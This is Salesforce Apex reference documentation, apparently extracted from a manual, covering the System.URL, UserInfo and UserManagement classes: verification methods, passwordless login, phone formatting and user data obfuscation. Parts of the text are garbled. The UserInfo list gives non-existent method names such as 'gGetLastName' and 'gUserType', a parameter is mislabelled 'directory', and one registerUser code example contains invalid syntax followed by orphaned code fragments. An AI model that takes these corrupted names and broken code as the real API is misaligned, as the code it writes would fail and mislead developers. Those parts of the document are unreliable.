public String getQuery()

Return Value
Type: String

Usage
Returns null if no query portion exists.
getRef()
Returns the anchor of the current URL.

Signature
public String getRef()

Return Value
Type: String

Usage
Returns null if no query portion exists.

getSalesforceBaseUrl()
Returns the URL of the Salesforce instance.

Signature
public static System.URL getSalesforceBaseUrl()

Return Value
Type: System.URL

SEE ALSO:
getOrgDomainUrl()

getUserInfo()
Gets the UserInfo portion of the current URL.

Signature
public String getUserInfo()

Return Value
Type: String

Usage
Returns null if no UserInfo portion exists.
**sameFile(URLToCompare)**
Compares the current URL with the specified URL object, excluding the fragment component.

**Signature**
```
public Boolean sameFile(System.URL URLToCompare)
```

**Parameters**
- **URLToCompare**
  Type: System.URL

**Return Value**
Type: Boolean
Returns `true` if both URL objects reference the same remote resource; otherwise, returns `false`.

**Usage**
For more information about the syntax of URIs and fragment components, see RFC3986.

**toExternalForm()**
Returns a string representation of the current URL.

**Signature**
```
public String toExternalForm()
```

**Return Value**
Type: String

**UserInfo Class**
Contains methods for obtaining information about the context user.

**Namespace**
```
System
```

**UserInfo Methods**
The following are methods for UserInfo. All methods are static.

IN THIS SECTION:
- **getDefaultCurrency()**
  Returns the context user’s default currency code for multiple currency organizations or the organization’s currency code for single currency organizations.
getFirstName()
Returns the context user's first name

getLanguage()
Returns the context user's language

gGetLastName()
Returns the context user's last name

gGetLocale()
Returns the context user's locale.

gGetName()
Returns the context user's full name. The format of the name depends on the language preferences specified for the organization.

gGetOrganizationId()
Returns the context organization's ID.

gGetOrganizationName()
Returns the context organization's company name.

gGetProfileId()
Returns the context user's profile ID.

gGetSessionId()
Returns the session ID for the current session.

gGetTimeZone()
Returns the current user's local time zone.

gGetUiTheme()
Returns the preferred theme for the current user. Use getUiThemeDisplayed to determine the theme actually displayed to the current user.

gGetUiThemeDisplayed()
Returns the theme being displayed for the current user.

gGetUserEmail()
Returns the current user's email address.

gGetUserId()
Returns the context user's ID

gGetUserName()
Returns the context user's login name.

gGetUserRoleid()
Returns the context user's role ID.

gGetUserType()
Returns the context user's type.

isCurrentUserLicensed(namespace)
Returns true if the context user has a license to any managed package denoted by the namespace. Otherwise, returns false.

isCurrentUserLicensedForPackage(packageID)
Returns true if the context user has a license to the managed package denoted by the package ID. Otherwise, returns false.

isMultiCurrencyOrganization()
Specifies whether the organization uses multiple currencies.
**getDefaultCurrency()**

Returns the context user's default currency code for multiple currency organizations or the organization's currency code for single currency organizations.

**Signature**

```java
public static String getDefaultCurrency()
```

**Return Value**

Type: String

**Usage**

_for Apex saved using Salesforce API version 22.0 or earlier, `getDefaultCurrency` returns `null` for single currency organizations._

**getFirstName()**

Returns the context user's first name

**Signature**

```java
public static String getFirstName()
```

**Return Value**

Type: String

**getLanguage()**

Returns the context user's language

**Signature**

```java
public static String getLanguage()
```

**Return Value**

Type: String

**getLastName()**

Returns the context user's last name

**Signature**

```java
public static String getLastName()
```
Return Value
Type: String

**getLocale()**
Returns the context user’s locale.

Signature
```
public static String getLocale()
```

Return Value
Type: String

Example
```
String result = UserInfo.getLocale();
System.assertEquals('en_US', result);
```

**getName()**
Returns the context user’s full name. The format of the name depends on the language preferences specified for the organization.

Signature
```
public static String getName()
```

Return Value
Type: String

Usage
The format is one of the following:
- FirstName LastName
- LastName, FirstName

**getOrganizationId()**
Returns the context organization’s ID.

Signature
```
public static String getOrganizationId()
```

Return Value
Type: String
**getOrganizationName()**
Returns the context organization’s company name.

Signature

```java
public static String getOrganizationName()
```

Return Value
Type: String

**getProfileId()**
Returns the context user’s profile ID.

Signature

```java
public static String getProfileId()
```

Return Value
Type: String

**getSessionId()**
Returns the session ID for the current session.

Signature

```java
public static String getSessionId()
```

Return Value
Type: String

**Usage**

You can use `getSessionId()` both synchronously and asynchronously. In asynchronous Apex (Batch, Future, Queueable, or Scheduled Apex), this method returns the session ID only when the code is run by an active, valid user. When the code is run by an internal user, such as the automated process user or a proxy user, the method returns `null`. As a best practice, ensure that your code handles both cases: when a session ID is or is not available.

**getTimeZone()**
Returns the current user’s local time zone.

Signature

```java
public static System.TimeZone getTimeZone()
```
Return Value
Type: System.TimeZone

Example

TimeZone tz =
    UserInfo.getTimeZone();
System.debug(
    'Display name: ' +
    tz.getDisplayName());
System.debug(
    'ID: ' +
    tz.getID());

getUiTheme()
Returns the preferred theme for the current user. Use getUiThemeDisplayed to determine the theme actually displayed to the current user.

Signature
public static String getUiTheme()

Return Value
Type: String
The preferred theme for the current user.
Valid values include:
- Theme1—Obsolete Salesforce theme
- Theme2—Salesforce Classic 2005 user interface theme
- Theme3—Salesforce Classic 2010 user interface theme
- Theme4d—Modern "Lightning Experience" Salesforce theme
- Theme4t—Salesforce mobile app theme
- Theme4u—Lightning Console theme
- PortalDefault—Salesforce Customer Portal theme
- Webstore—AppExchange theme

getUiThemeDisplayed()
Returns the theme being displayed for the current user.

Signature
public static String getUiThemeDisplayed()
The theme being displayed for the current user

Valid values include:

- **Theme1**—Obsolete Salesforce theme
- **Theme2**—Salesforce Classic 2005 user interface theme
- **Theme3**—Salesforce Classic 2010 user interface theme
- **Theme4d**—Modern "Lightning Experience" Salesforce theme
- **Theme4t**—Salesforce mobile app theme
- **Theme4u**—Lightning Console theme
- **PortalDefault**—Salesforce Customer Portal theme
- **Webstore**—AppExchange theme

**getUserEmail()**

Returns the current user's email address.

**Signature**

```
public static String getUserEmail()
```

**Return Value**

**Type:** String

**Example**

```java
String emailAddress = 
    UserInfo.getUserEmail();
System.debug(
    'Email address: ' +
    emailAddress);
```

**getUserId()**

Returns the context user's ID

**Signature**

```
public static String getUserId()
```

**Return Value**

**Type:** String

**getUserName()**

Returns the context user's login name.
public static String getUserName()

Return Value
Type: String

getUserRoleID()
Returns the context user’s role ID.

public static String getUserRoleID()

Return Value
Type: String

gUserType()
Returns the context user’s type.

public static String getUserType()

Return Value
Type: String

isCurrentUserLicensed(namespace)
Returns true if the context user has a license to any managed package denoted by the namespace. Otherwise, returns false.

public static Boolean isCurrentUserLicensed(String namespace)

Parameters
namespace
Type: String

Return Value
Type: Boolean

Usage
A TypeException is thrown if namespace is an invalid type.
**isCurrentUserLicensedForPackage (packageID)**

Returns `true` if the context user has a license to the managed package denoted by the package ID. Otherwise, returns `false`.

**Signature**

```java
public static Boolean isCurrentUserLicensedForPackage(ID packageID)
```

**Parameters**

`packageID`

Type: `String`

**Return Value**

Type: `Boolean`

**Usage**

Retrieve `packageID` at runtime, with the `getCurrentPackageId()` method. Then, use `packageId` to confirm that the contextual user is licensed to use that managed package.

A `TypeException` is thrown if `packageID` is an invalid type. A `SystemException` is thrown if `packageID` is the ID of an unlocked or unmanaged package, or if the contextual user doesn't have a license to the managed package.

**isMultiCurrencyOrganization ()**

Specifies whether the organization uses multiple currencies.

**Signature**

```java
public static Boolean isMultiCurrencyOrganization()
```

**Return Value**

Type: `Boolean`

**UserManagement Class**

Contains methods to manage end users, for example, to register their verification methods, verify their identity, or remove their personal information.

**Namespace**

`System`

**Usage**

Let users register and deregister identity verification methods. Create custom Login and Verify pages for passwordless login and self-registration. Convert mobile phone numbers to the proper format before registering users. Scramble user data when users request that Salesforce remove their personal information.
This class is available in API version 43.0 and later.

IN THIS SECTION:

UserManagement Methods

UserManagement Methods

The following are methods for UserManagement.

IN THIS SECTION:

clone()

deregisterVerificationMethod(userId, method)
- Deregisters an identity verification method. Use this method to let users delete an existing verification method.

formatPhoneNumber(countryCode, phoneNumber)
- Formats a mobile phone number for a user. Call this method to ensure that the phone number is formatted properly before updating a user’s mobile phone number.

initPasswordlessLogin(userId, method)
- Invokes a verification challenge for passwordless login when creating custom (Visualforce) Login and Verify pages for customers and partners.

initRegisterVerificationMethod(method)
- Invokes a verification challenge for registering identity verification methods with a custom (Visualforce) page. Users can register either their email address or phone number.

initSelfRegistration(method, user)
- Invokes a verification challenge for self-registration when creating a custom (Visualforce) Verify page for Experience Cloud self-registration.

initVerificationMethod(method)
- Initiates a verification service for email, phone (SMS), and the Salesforce Authenticator verification methods.

initVerificationMethod(method, actionName, extras)
- Initiates a verification service for email, phone (SMS), and the Salesforce Authenticator verification methods.

obfuscateUser(userId, username)
- Scrambles users' data on their request when they no longer want their personal data recognized in Salesforce. When you invoke the method for the user, the data becomes anonymous, and you can never recover it. Use this method to set the username to a specific value after it’s scrambled.

obfuscateUser(userId)
- Scrambles users' data on their request when they no longer want their personal data recognized in Salesforce. When you invoke the method for the user, the data becomes anonymous, and you can never recover it.

registerVerificationMethod(method, startUrl)
- Registers an identity verification method. Verification methods can be a time-based one-time password (TOTP), email or text verification code, Salesforce Authenticator, or U2F-compatible security key. End users register verification methods for themselves.

sendAsyncEmailConfirmation(userId, emailTemplateId, networkId, startUrl)
- Send an email message to a user's email address for verification. The message contains a verification link (URL) that the user clicks to verify the email address later on. You can send email verifications in bulk.
verifyPasswordlessLogin(userId, method, identifier, code, startUrl)
Completes a verification challenge during a passwordless login that uses a custom Verify page (Visualforce only). If the user who is trying to log in enters the verification code successfully, the user is logged in.

verifyRegisterVerificationMethod(code, method)
Completes registering a user’s email address or phone number as a verification method when customizing the identity verification process.

verifySelfRegistration(method, identifier, code, startUrl)
Completes a verification challenge when creating a custom (Visualforce) Verify page for Experience Cloud site self-registration. If the person who is attempting to register enters the verification code successfully, the user is created and logged in.

verifyVerificationMethod(identifier, code, method)
Completes the verification service for email, phone (SMS), Salesforce Authenticator, password, or time-based one-time password (TOTP) verification methods.

cloned()

Signature
public Object clone()

Return Value
Type: User Management

deregisterVerificationMethod(userId, method)
Deregisters an identity verification method. Use this method to let users delete an existing verification method.

Signature
public static void deregisterVerificationMethod(Id userId, Auth.VerificationMethod method)

Parameters
userId
Type: Id
User ID of the user deregistering the verification method.

method
Type: Auth.VerificationMethod
Verification method used to verify the identity of the user.

Return Value
Type: void
Usage

Use this method to deregister an existing identity verification method. For example, your users can deregister a phone number when their phone number changes. While only end users can register an identity verification method, you and your users can deregister one. Keep this behavior in mind when you implement a custom registration page.

This method is available in API version 43.0 and later.

formatPhoneNumber(countryCode, phoneNumber)

Formats a mobile phone number for a user. Call this method to ensure that the phone number is formatted properly before updating a user’s mobile phone number.

Signature

global static String formatPhoneNumber(String countryCode, String phoneNumber)

Parameters

countryCode
Type: String
A valid country code.

phoneNumber
Type: String
A mobile number that contains from 3 through 49 numeric characters, without the country code. For example, (415) 555-1234.

Return Value

Type: String
Returns a user’s mobile phone number in the proper format.

Usage

Use this method to ensure a user’s mobile phone number is formatted as required by Salesforce. Then use the method’s return value to update the mobile field of the user’s record. This mobile number is used for SMS-based device activation. For example, mobile phone numbers are stored along with other identity verification methods in Auth.VerificationMethod enum. This method is introduced in API version 43.0. It isn’t available in earlier versions.

Here are some acceptable ways that users can enter their mobile number:

• +1, (415) 555-1234 (with plus signs, parentheses, and dashes)
• 1, 4155551234 (only numbers, no symbols)
• 1 , 415-555-1234 (extra spaces)

Now, consider the following examples.

• Correct examples:
  – formatPhoneNumber('1', '4155551234');
  – formatPhoneNumber('+1', '(415) 555-1234');
  – formatPhoneNumber('1', '415-555-1234');

• Incorrect example, because the country code and mobile number aren’t separated:
- `formatPhoneNumber(null, '+1 415-555-1234');`

- Example that doesn’t generate an error, but likely won’t work as intended:
  - `formatPhoneNumber('+1', '+1 (415) 555-1234');`

### Format Phone Number Code Example

Here’s a code example that uses the `formatPhoneNumber` method. It gets the mobile number from the user and converts it to the format required by Salesforce. Then it updates the user’s record with the formatted mobile number.

```apex
global with sharing class PhoneRegistrationController {
    // Input variables
    global String countryCode {get; set;}
    global String phoneNumber {get; set;}

    global String addPhoneNumber()
    {
        if(countryCode == null) return 'Country code is required';
        if(phoneNumber == null) return 'Phone number is required';

        String userId = UserInfo.getUserId();
        User u = [SELECT Id FROM User WHERE Id=:userId LIMIT 1];
        String formatNum = System.UserManagement.formatPhoneNumber(countryCode, phoneNumber);

        u.MobilePhone = formatNum;
        update u;
        return null;
    }
}
```

As long as the country code and phone number are separated, `formatPhoneNumber` returns a value in the proper format.

### initPasswordlessLogin(userId, method)

Invokes a verification challenge for passwordless login when creating custom (Visualforce) Login and Verify pages for customers and partners.

**Signature**

```apex
public static String initPasswordlessLogin(Id userId, Auth.VerificationMethod method)
```

**Parameters**

- `userId`
  - Type: `Id`
  - ID of the user who’s logging in.

- `method`
  - Type: `Auth.VerificationMethod`
  - Method used to verify the user’s identity, which can be EMAIL or SMS.
Return Value
Type: String
Identifier of the verification attempt.

Usage
Use this method along with its paired `verifyPasswordlessLogin` to customize the login experience with your own Visualforce Login and Verify pages. Invoke `initPasswordlessLogin` from the Login page where the user enters an email address or phone number.

Note: An alternative to using this combination of methods is to use `Site.passwordlessLogin`. Both approaches let you customize the Login page in Visualforce. With the paired methods, you can create custom Login and Verify pages. With `Site.passwordlessLogin`, Salesforce supplies the Verify page.

First call the `initPasswordlessLogin` method to initiate an authentication challenge. This method:

- Gets the user ID and verification method, such as EMAIL or SMS, from the Login page.
- Looks up the user and checks that the user is unique and active.
- Sends a verification code to the user.
- Adds an entry for the verification attempt to the Identity Verification History log, assigning an identifier to the verification attempt and setting the status to **User challenged, waiting for response**.
- Adds an entry for the Passwordless Login to the Login History log.
- Returns the identifier to `verifyPasswordlessLogin` to link the transactions.

Then call `verifyPasswordlessLogin`, which, if the user enters the verification code correctly, logs in the user.

Note: Users must verify their identity by email address or phone number before they can log in without a password. You can check whether the user is verified from the user’s detail page in Setup. Or you can check programmatically with `TwoFactorMethodsInfo`.

`initRegisterVerificationMethod(method)`
Invokes a verification challenge for registering identity verification methods with a custom (Visualforce) page. Users can register either their email address or phone number.

Signature
```
public static String initRegisterVerificationMethod(Auth.VerificationMethod method)
```

Parameters

`method`
Type: `Auth.VerificationMethod`
Method used to verify the user’s identity, which can be EMAIL or SMS.

Return Value
Type: String
The method returns an error message if the phone number is already registered, the user isn’t a customer or partner, or if the context isn’t an Experience Cloud site.
Usage

Use this method along with its paired `verifyRegisterVerificationMethod` on page 3636 to customize the process for registering a user’s verification method using a Visualforce Verify page.

First call the `initRegisterVerificationMethod` method to get the verification code sent to the user as input, and validate it. If the verification code isn’t valid, it returns an error message.

Example

Here’s a code example that registers a user’s phone number as a verification method. When the user enters a verification code on the Visualforce page, it invokes `registerUser()`. The method gets the User ID of the user who’s registering the verification method and the user’s phone number. It also gets the user’s registration status to check whether the phone number is verified already. If the user is registered with a different phone number, the number is updated.

```apex
public void registerUser() {
    try {
        exceptionText = ''; // Exception text initialization
        String userId = UserInfo.getUserId(); // Get user's ID
        User u = [Select MobilePhone, Id from User Where Id=:userId]; // Query user's mobile phone
        currPhone = u.MobilePhone; // Get current phone
        mobilePhone = getFormattedSms(mobilePhone); // Get formatted phone
        if (mobilePhone != null && mobilePhone != '') { // Check if phone is valid
            u.MobilePhone = mobilePhone; // Update phone
            update u; // Update user
            // We're updating the email and phone number before verifying. Roll back
            // the change in the verify API if it is unsuccessful.
            exceptionText = System.UserManagement.initRegisterVerificationMethod(Auth.VerificationMethod.SMS); // Initialize verify method
            if (exceptionText != null && exceptionText != '') { // Check if initialization was successful
                isInit = false; // Set initialization flag
                showInitException = true; // Set initialization exception flag
            } else { // If initialization was successful
                isInit = true; // Set initialization flag
                isVerify = true; // Set verify flag
            } // If initialization was successful
        } else { // If phone is not valid
            showInitException = true; // Set initialization exception flag
        } // If phone is not valid
    } catch (Exception e) { // Catch exception
        exceptionText = e.getMessage(); // Get exception message
        isInit = false; // Set initialization flag
        showInitException = true; // Set initialization exception flag
    } // Catch exception
}

public void verifyUser() {
    // Take the user’s input for the code sent to their phone number
    exceptionText = System.UserManagement.verifyRegisterVerificationMethod(code, Auth.VerificationMethod.SMS); // Verify code
    if (exceptionText != null && exceptionText != '') { // Check if verification was successful
        showInitException = true; // Set initialization exception flag
    } else { // If verification was successful
        // Success
    } // If verification was successful
}
```
**initSelfRegistration(method, user)**

Invokes a verification challenge for self-registration when creating a custom (Visualforce) Verify page for Experience Cloud self-registration.

**Signature**

```java
public static String initSelfRegistration(Auth.VerificationMethod method, User user)
```

**Parameters**

- **method**
  - Type: Auth.VerificationMethod
  - Method used to verify the identity of the user, which can be EMAIL or SMS.

- **user**
  - Type: User
  - User object to insert after successful registration.

**Return Value**

- Type: String
  - Identifier of the registration attempt.

**Usage**

By default, when users sign up for your Experience Cloud site with an email address or phone number, Salesforce sends them a verification code. At the same time, it generates a Verify page for users to confirm their identity. You can replace the default Salesforce Verify page with your own Visualforce page and then invoke the verification process.

Call this method to initiate the authentication challenge, and include a User object to insert if the registration is successful. The method returns the identifier for the self-registration attempt.

Then call **verifySelfRegistration**, which, if the user enters the verification code correctly, logs in the user.

**Example**

This code contains the result of a verification challenge that registers a new user.

```java
String id = System.UserManagement.initSelfRegistration
   (Auth.VerificationMethod.SMS, user);
Auth.VerificationResult res = System.UserManagement.verifySelfRegistration
   (Auth.VerificationMethod.SMS, id, '123456', null);
if(res.success == true){
   //redirect
}
```

**initVerificationMethod(method)**

Initiates a verification service for email, phone (SMS), and the Salesforce Authenticator verification methods.
public static String initVerificationMethod(Auth.VerificationMethod method)

Parameters

directory
Type: Auth.VerificationMethod

Method used to initiate a verification service for EMAIL, SMS, or SALESFORCE_AUTHENTICATOR verification methods.

Return Value

Type: String

The returned identifier must be passed into verifyVerificationMethod.

Usage

Use this method along with its paired verifyVerificationMethod to customize a verification service for EMAIL, SMS, or SALESFORCE_AUTHENTICATOR verification methods. The returned identifier from initVerificationMethod must be passed into verifyVerificationMethod.

First invoke the initVerificationMethod method to send a verification code to the user’s email or phone number, or to send a push notification to the Salesforce Authenticator. The user then enters the code or approves the push notification. If the verification code isn’t valid or the push notification isn’t approved, the service returns an error message.

Email Example

This example shows multi-factor authentication using email.

    public void initVerification() {
        // user will receive code on their registered verified email
        identifier = UserManagement.initVerificationMethod(Auth.VerificationMethod.EMAIL);
    }

    public Auth.VerificationResult verifyVerification() {
        // requiring identifier from the initVerification
        // the code will need to be entered in this method
        return UserManagement.verifyVerificationMethod(identifier, code, Auth.VerificationMethod.EMAIL);
    }

initVerificationMethod(method, actionName, extras)

Initiates a verification service for email, phone (SMS), and the Salesforce Authenticator verification methods.

Signature

public static String initVerificationMethod(Auth.VerificationMethod method, String actionName, Map<String,String> extras)
Parameters

method
Type: Auth.VerificationMethod

Method used to initiate a verification service for EMAIL, SMS, or SALESFORCE_AUTHENTICATOR verification methods.

actionName
Type: String

For the SALESFORCE_AUTHENTICATOR verification method only, the name of the action to display on the Salesforce Authenticator, such as Connect to My Salesforce Org. The default action name is Apex-Defined Activity.

extras
Type: Map<String,String>

For the SALESFORCE_AUTHENTICATOR verification method only, the following extra settings.

- secure_device_required—If set to true, the user’s device must be secured. For example, the user must enter the device’s passcode to approve the request. Default setting is false.
- challenge_required—if set to true, the user must complete a biometric challenge, such as face recognition, on the device to approve the request. Default setting is false.

Return Value

Type: String

The returned identifier must be passed into verifyVerificationMethod method.

Usage

Use this method along with its paired verifyVerificationMethod to customize a verification service for EMAIL, SMS, or SALESFORCE_AUTHENTICATOR verification methods. The returned identifier from initVerificationMethod must be passed into verifyVerificationMethod method.

First invoke the initVerificationMethod method to send a verification code to the user’s email or phone number, or to send a push notification to the Salesforce Authenticator. The user then enters the code or approves the push notification. If the verification code isn’t valid or the push notification isn’t approved, the service returns an error message.

Salesforce Authenticator Example

This example shows multi-factor authentication (MFA) using the Salesforce Authenticator mobile app. In this example, the actionName parameter is set to the default setting and the extra parameter settings are set to false.

```apex
public void initVerification() {
    // user will receive push notification on their registered MFA devices
    identifier = UserManagement.initVerificationMethod(Auth.VerificationMethod.SALESFORCE_AUTHENTICATOR);
}

public Auth.VerificationResult verifyVerification() {
    // requiring identifier from the initVerification
    // user will need to take the action on their registered MFA devices
    return UserManagement.verifyVerificationMethod(identifier, '', Auth.VerificationMethod.SALESFORCE_AUTHENTICATOR);
}
```
This example shows multi-factor authentication using Salesforce Authenticator. In this example, the `actionName` parameter is set to `Connect to My Salesforce Org` and the `challenge_required` extra parameter is set to `true`.

```java
global void initVerification() {
    Map<String,String> extras = new Map<String,String>();
extras.put('challenge_required','true');
// user will receive push notification in their registered MFA devices
identifier = 
    UserManagement.initVerificationMethod(Auth.VerificationMethod.SALESFORCE_AUTHENTICATOR,
    'Connect to My Salesforce Org', extras);
}

global Auth.VerificationResult verifyVerification() {
    // requiring identifier from the initVerification
    // user will need to take the action on their registered MFA devices
    return UserManagement.verifyVerificationMethod(identifier, '',
    Auth.VerificationMethod.SALESFORCE_AUTHENTICATOR);
}
```

`obfuscateUser(userId, username)`

Scrambles users' data on their request when they no longer want their personal data recognized in Salesforce. When you invoke the method for the user, the data becomes anonymous, and you can never recover it. Use this method to set the username to a specific value after it's scrambled.

**Signature**

```java
public static void obfuscateUser(Id userId, String username)
```

**Parameters**

`userId`

Type: `Id`

ID of the user whose data this method scrambles.

`username`

Type: `String`

The username after the user’s data is scrambled. Sets the value of the scrambled username to a specific string.

**Return Value**

Type: `void`

**Usage**

This method is introduced in API version 43.0. It isn’t available in earlier versions.

You can use the `obfuscateUser` method to protect the personal information of your org’s users. When invoked, Salesforce permanently scrambles the user’s object data and replaces it with random character strings. The user’s detail page exists, but the fields contain meaningless strings of characters. Salesforce merely obfuscates (scrambles) personal data because you can’t delete a user in Salesforce; you can only disable or deactivate a user. In other words, the user record remains in the database and this method performs a soft delete.
Note: Take care when using this method. The users’ data becomes anonymous and can never be recovered.

Considerations

• This method requires that the org’s User Management setting, Scramble Specific Users’ Data, is enabled from Setup.
• This method affects the standard fields of the user object—excluding a few fields such as the user ID, timezone, locale, and profile.
• It is recommended that you note the user’s ID and other attributes for post processing, such as the email address, if you want to send the user a confirmation.
• This method changes only the user object. The association between the user and other objects is removed, but no other objects are changed. For example, contact, ThirdPartyAccountLink (TPAL), and user password authentication (UPA) objects remain unchanged.

Note: Assure your admins that invoking this method doesn’t trigger an email change notification.

This method is part of our effort to protect users’ personal data and privacy. For more information on what you can do to actively protect user data, see Data Protection and Privacy in Salesforce Help.

**obfuscateUser(userId)**

Scrambles users’ data on their request when they no longer want their personal data recognized in Salesforce. When you invoke the method for the user, the data becomes anonymous, and you can never recover it.

Signature

```java
public static void obfuscateUser(Id userId)
```

Parameters

userId

Type: Id

ID of the user whose data this method scrambles.

Return Value

Type: void

Usage

This method is introduced in API version 43.0. It isn’t available in earlier versions.

You can use the `obfuscateUser` method to protect the personal information of your org’s users. When invoked, Salesforce permanently scrambles the user’s object data and replaces it with random character strings. The user’s detail page exists, but the fields contain meaningless strings of characters. Salesforce merely obfuscates (scrambles) personal data because you can’t delete a user in Salesforce; you can only disable or deactivate a user. In other words, the user record remains in the database and this method performs a soft delete.

Note: Take care when using this method. The users’ data becomes anonymous and can never be recovered.

Considerations

• This method requires that the org’s User Management setting, Scramble Specific Users’ Data, is enabled from Setup.
• This method affects the standard fields of the user object—excluding a few fields such as the user ID, timezone, locale, and profile.
It is recommended that you note the user’s ID and other attributes for post processing, such as the email address, if you want to send the user a confirmation.

This method changes only the user object. The association between the user and other objects is removed, but no other objects are changed. For example, contact, ThirdPartyAccountLink (TPAL), and user password authentication (UPA) objects remain unchanged.

Note: Assure your admins that invoking this method doesn’t trigger an email change notification.

This method is part of our effort to protect users' personal data and privacy. For more information on what you can do to actively protect user data, see Data Protection and Privacy in Salesforce Help.

ObfuscateUser Code Example

```java
public class UserManagementController{
    public List <User> users {get; set;}

    public UserManagementController()
    {
        Profile p = [select id from profile where name = 'Customer Community User'];

        users = [select username, id from User where profileId=:p.id AND isactive=true];
    }

    //Use method with extreme caution. Data can't be recovered.
    @InvocableMethod(label='User Management' description='Obfuscate User data and more')
    static public void obfuscate(List<User> users)
    {
        String uid = ApexPages.currentPage().getParameters().get('uid');

        if(uid == null)
            return;

        User u = [select contactId from user where id=:uid];

        System.UserManagement.obfuscateUser(uid);

        if(u.contactId != null)
        {
            List <Contact> contacts = [select id from Contact where id=:u.contactId LIMIT 1];
            if (contacts == null || contacts.isEmpty() == true)
                return;

            delete contacts;
        }
    }
}
```

registerVerificationMethod(method, startUrl)

Registers an identity verification method. Verification methods can be a time-based one-time password (TOTP), email or text verification code, Salesforce Authenticator, or U2F-compatible security key. End users register verification methods for themselves.

Parameters

method
Type: Auth.VerificationMethod
Verification method used to verify the identity of the user.

startUrl
Type: String
Path to the page that users see after they log in.

Return Value
Type: System.PageReference

Usage
Use this method to enable users to complete identity verification, such as multi-factor authentication (MFA), or to log in to their Experience Cloud site without a password. Users register these methods to verify their identity when logging in. You create a custom registration page when implementing mobile-centric passwordless logins. See VerifyPasswordlessLogin.

The PageReference returned by registerVerificationMethod redirects the user to the Salesforce Verify page. If the user enters the correct code, the user is redirected to the Experience Cloud site page specified by the start URL. For example:

```java
PageReference pr = System.UserManagement.registerVerificationMethod(Auth.VerificationMethod.TOTP,startUrl);
PageReference p = System.UserManagement.deregisterVerificationMethod(userId,Auth.VerificationMethod.SALESFORCE_AUTHENTICATOR);
```

This method is available in API version 43.0 and later.

Note: As a security measure, when users add or update mobile numbers in their detail page, they must log in again to verify their identity. As a result, unsaved changes in the app are lost. To disable this security measure, contact Salesforce Support.

sendAsyncEmailConfirmation(userId, emailTemplateId, networkId, startUrl)

Send an email message to a user’s email address for verification. The message contains a verification link (URL) that the user clicks to verify the email address later on. You can send email verifications in bulk.

Signature

public static Boolean sendAsyncEmailConfirmation(String userId, String emailTemplateId, String networkId, String startUrl)
Parameters

**userId**
Type: **String**
ID of the user to receive the email confirmation.

**emailTemplateId**
Type: **String**
ID of the email template in which the verification link is defined.

**networkId**
Type: **String**
ID of the Experience Cloud site.

**startUrl**
Type: **String**
The user is redirected to this page after verification, with a success or error message as the parameter. If null, the user is redirected to the login page.

Return Value
Type: **Boolean**
Indicates whether sending the email message succeeded or failed.

Usage
Sending an async email message is good practice to ensure that users are registered with a valid email address that they truly own. To determine which users receive an email with the verification link, check whether the User Verified Email field in the User detail page is set to true. You can also get this information from the `TwoFactorMethodsInfo` API.

Send async email verification to customers and partners to verify their email address. These users must verify their email address before they can log in with email OTP (passwordless login).

The error code and description are passed as query parameters so that you can process any errors when building a custom landing page.

Example

```java
System.UserManagement.sendAsyncEmailConfirmation('005RM000001a0Ox','00XRM000000hxnG','0DBRM000000015i', '/s/contactsupport');
```

**verifyPasswordlessLogin(userId, method, identifier, code, startUrl)**
Completes a verification challenge during a passwordless login that uses a custom Verify page (Visualforce only). If the user who is trying to log in enters the verification code successfully, the user is logged in.

Signature

```java
public static Auth.VerificationResult verifyPasswordlessLogin(Id userId, Auth.VerificationMethod method, String identifier, String code, String startUrl)
```
Parameters

userId
Type: Id
ID of the user who's logging in.

method
Type: Auth.VerificationMethod
Method used to verify the identity of the user, which can be either EMAIL or SMS.

identifier
Type: String
ID of the verification attempt received from the initPasswordlessLogin method.

code
Type: String
Code used to verify the identity of the user.

startUrl
Type: String
The page where the user is directed after successful login.

Return Value
Type: Auth.VerificationResult
Result of the verification challenge, which includes the message displayed, and where the user is directed if they enter the verification code correctly.

Usage
Call this method to complete the passwordless login authentication process. It validates the verification method and verification code. It also checks that the identifier is the same as the one returned by initPasswordlessLogin on page 3625.

Example
For an example, see Auth.VerificationResult.

verifyRegisterVerificationMethod(code, method)
Completes registering a user's email address or phone number as a verification method when customizing the identity verification process.

Signature
public static String verifyRegisterVerificationMethod(String code, Auth.VerificationMethod method)

Parameters

code
Type: String
Code used to verify the identity of the user.

**Method**

*Type: Auth.VerificationMethod*

Method used to verify the identity of the user, which can be either EMAIL or SMS.

**Return Value**

*Type: String*

If the user enters an incorrect verification code, the method returns an error message.

**Usage**

Call `verifyRegisterVerificationMethod` to complete the process of registering a user’s verification method. This method checks whether the user entered the correct verification code. If the verification code is correct, the method

- Confirms that the user entered the correct verification code
- From the user’s detail page, updates the user’s verification method status (sets the verification bit)
- Sends an email to the user confirming that a verification method has been added to their record

If the verification code is incorrect, an error message is returned.

**Note:** If users want to change their email address after registering one, don’t use the `initRegisterVerificationMethod` and `verifyRegisterVerificationMethod` methods. To enable automatic identity verification for email address changes, from the Identity Verification Setup page, select the field **Require email confirmations for email address changes** *(applies to users in Experience Builder sites)*.

**Example**

Here’s a code example that registers a user’s phone number as a verification method. When the user enters a verification code on the Visualforce page, it invokes `registerUser()`. The method gets the User ID of the user who’s registering the verification method and the user’s phone number. It also gets the user’s registration status to check whether the phone number is verified already. If the user is registered with a different phone number, the number is updated.

```java
public void registerUser() {
    try {
        exceptionText='';
        String userId = UserInfo.getUserId();
        User u = [Select MobilePhone, Id from User Where Id=:userId];
        currPhone = u.MobilePhone;
        mobilePhone = getFormattedSms(mobilePhone);
        if (mobilePhone != null && mobilePhone != '') {
            u.MobilePhone = mobilePhone;
            update u;
            // We're updating the email and phone number before verifying. Roll back
            // the change in the verify API if it is unsuccessful.
            exceptionText = System.UserManagement.initRegisterVerificationMethod(Auth.VerificationMethod.SMS);
            if(exceptionText!= null && exceptionText!=''){
                isInit = false;
                showInitException = true;
            } else {
                isInit = false;
            }
        }
    } catch (Exception e) {
        exceptionText = e.getMessage();
        throw new System apex.SystemException(exceptionText);
    }
}
```
isVerify = true;
}
else {
  showInitException = true;
}
} catch (Exception e) {
  exceptionText = e.getMessage();
  isInit = false;
  showInitException = true;
}
}

public void verifyUser() {
  // Take the user’s input for the code sent to their phone number
  exceptionText = System.UserManagement.
    verifyRegisterVerificationMethod(code, Auth.VerificationMethod.SMS);
  if(exceptionText != null && exceptionText !=''){
    showInitException = true;
  } else {
    //Success
  }
}

verifySelfRegistration(method, identifier, code, startUrl)
Completes a verification challenge when creating a custom (Visualforce) Verify page for Experience Cloud site self-registration. If the person who is attempting to register enters the verification code successfully, the user is created and logged in.

Signature

public static Auth.VerificationResult verifySelfRegistration(Auth.VerificationMethod method, String identifier, String code, String startUrl)

Parameters

method
